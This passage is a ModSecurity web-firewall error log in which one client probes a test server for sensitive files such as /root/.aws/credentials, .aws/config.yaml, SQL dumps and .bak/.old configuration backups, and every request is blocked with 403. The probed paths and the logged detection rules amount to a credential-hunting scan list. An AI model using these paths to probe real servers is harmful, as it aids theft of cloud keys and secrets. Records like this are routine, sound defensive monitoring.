&quot;aIfFhQ9nLjdPblA-25FX6QAAAAU&quot;]
[Mon Jul 28 20:46:29.374127 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX6QAAAAU&quot;]
[Mon Jul 28 20:46:29.374308 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX6QAAAAU&quot;]
[Mon Jul 28 20:46:29.464143 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7AAAAAU&quot;]
[Mon Jul 28 20:46:29.464489 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7AAAAAU&quot;]
[Mon Jul 28 20:46:29.464679 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7AAAAAU&quot;]
[Mon Jul 28 20:46:29.493924 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7QAAAAU&quot;]
[Mon Jul 28 20:46:29.494151 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7QAAAAU&quot;]
[Mon Jul 28 20:46:29.494329 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX7QAAAAU&quot;]
[Mon Jul 28 20:46:29.586522 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8AAAAAU&quot;]
[Mon Jul 28 20:46:29.586754 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8AAAAAU&quot;]
[Mon Jul 28 20:46:29.586950 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8AAAAAU&quot;]
[Mon Jul 28 20:46:29.676335 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8wAAAAU&quot;]
[Mon Jul 28 20:46:29.676648 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8wAAAAU&quot;]
[Mon Jul 28 20:46:29.676811 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX8wAAAAU&quot;]
[Mon Jul 28 20:46:29.736332 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9QAAAAU&quot;]
[Mon Jul 28 20:46:29.736658 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9QAAAAU&quot;]
[Mon Jul 28 20:46:29.736826 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9QAAAAU&quot;]
[Mon Jul 28 20:46:29.796164 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9wAAAAU&quot;]
[Mon Jul 28 20:46:29.796511 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9wAAAAU&quot;]
[Mon Jul 28 20:46:29.796680 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX9wAAAAU&quot;]
[Mon Jul 28 20:46:29.915800 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.inc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX-wAAAAU&quot;]
[Mon Jul 28 20:46:29.916121 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX-wAAAAU&quot;]
[Mon Jul 28 20:46:29.916308 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aIfFhQ9nLjdPblA-25FX-wAAAAU&quot;]
[Mon Jul 28 20:46:30.036330 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FX_wAAAAU&quot;]
[Mon Jul 28 20:46:30.036702 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FX_wAAAAU&quot;]
[Mon Jul 28 20:46:30.036870 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FX_wAAAAU&quot;]
[Mon Jul 28 20:46:30.065767 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAAAAAAU&quot;]
[Mon Jul 28 20:46:30.066066 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAAAAAAU&quot;]
[Mon Jul 28 20:46:30.066291 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAAAAAAU&quot;]
